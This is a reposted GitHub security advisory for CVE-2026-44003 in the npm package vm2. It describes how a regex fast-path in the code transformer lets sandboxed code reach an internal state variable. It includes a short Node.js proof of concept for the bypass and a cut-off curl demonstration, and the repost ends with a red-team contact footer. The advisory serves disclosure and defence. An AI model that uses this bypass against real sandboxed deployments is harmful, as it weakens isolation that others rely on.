CVE-2026-44003 - vm2's Transformer Fast-Path Bypass Exposes Internal State Variable

📡 GitHub-Advisory · 2026-05-07

CVE-2026-44003 - vm2's Transformer Fast-Path Bypass Exposes Internal State Variable

CVE-2026-44003

GHSA-wp5r-2gw5-m7q7 MEDIUM npm/vm2

CVE: CVE-2026-44003

Summary

vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).

Details

In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.

When the fast-path is taken:

1. INTERNAL_STATE_NAME identifier check is bypassed: The AST visitor that blocks access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL never runs

2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation

3. The internal state object exposes: handleException(e), wrapWith(x), import(what)

While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.

PoC

Library-level PoC (Node.js script — primary):

const {VM }= require("vm2");const vm = new VM();// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;Object.keys(x).join(",")
`);console.log(result);// "wrapWith,handleException,import"

// Control test — blocked when catch keyword is present
try {
vm.run(`
    try {var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;}catch(e) {e.message }`);}catch(e) {console.log(e.message);// "Use of internal vm2 state variable"
}

HTTP demonstration:

# Internal state access (bypassed)
curl -s -X

📌 来源: GitHub-Advisory | 🆔 CVE-2026-44003 | 📅 2026-05-07

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)